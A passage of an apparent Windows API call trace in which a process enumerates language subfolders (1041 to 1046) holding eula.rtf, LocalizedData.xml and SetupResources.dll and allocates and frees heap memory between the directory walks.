dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.636] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.638] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.639] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.639] GetProcessHeap () returned 0x11a0000 [0077.639] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.639] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1041", cAlternateFileName="")) returned 1 [0077.639] GetProcessHeap () returned 0x11a0000 [0077.639] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.639] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.639] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.639] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.639] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.639] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.640] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.640] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.640] GetProcessHeap () returned 0x11a0000 [0077.640] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.640] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1042", cAlternateFileName="")) returned 1 [0077.640] GetProcessHeap () returned 0x11a0000 [0077.640] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.640] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9f50 [0077.640] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.640] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.640] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.641] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.641] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.641] FindClose (in: hFindFile=0x11b9f50 | out: hFindFile=0x11b9f50) returned 1 [0077.641] GetProcessHeap () returned 0x11a0000 [0077.641] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.641] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1043", cAlternateFileName="")) returned 1 [0077.641] GetProcessHeap () returned 0x11a0000 [0077.641] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.641] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.641] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.641] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.641] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.642] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.642] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.642] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.642] GetProcessHeap () returned 0x11a0000 [0077.642] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.642] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1044", cAlternateFileName="")) returned 1 [0077.642] GetProcessHeap () returned 0x11a0000 [0077.642] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.642] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11ba010 [0077.642] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.642] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.643] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.643] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.643] FindNextFileW (in: hFindFile=0x11ba010, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.643] FindClose (in: hFindFile=0x11ba010 | out: hFindFile=0x11ba010) returned 1 [0077.643] GetProcessHeap () returned 0x11a0000 [0077.643] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.643] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1 [0077.643] GetProcessHeap () returned 0x11a0000 [0077.643] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.643] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11b9dd0 [0077.644] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0xa7, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x11b9dd0, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xa7, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.644] FindClose (in: hFindFile=0x11b9dd0 | out: hFindFile=0x11b9dd0) returned 1 [0077.644] GetProcessHeap () returned 0x11a0000 [0077.644] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1261aa0 | out: hHeap=0x11a0000) returned 1 [0077.644] FindNextFileW (in: hFindFile=0x11ba1d0, lpFindFileData=0x2fbf508 | out: lpFindFileData=0x2fbf508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1 [0077.644] GetProcessHeap () returned 0x11a0000 [0077.644] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1261aa0 [0077.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0077.645] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa7, cFileName="..", cAlternateFileName="")) returned 1 [0077.645] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0xa7, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.645] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x2fbf280 | out: lpFindFileData=0x2fbf280*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, 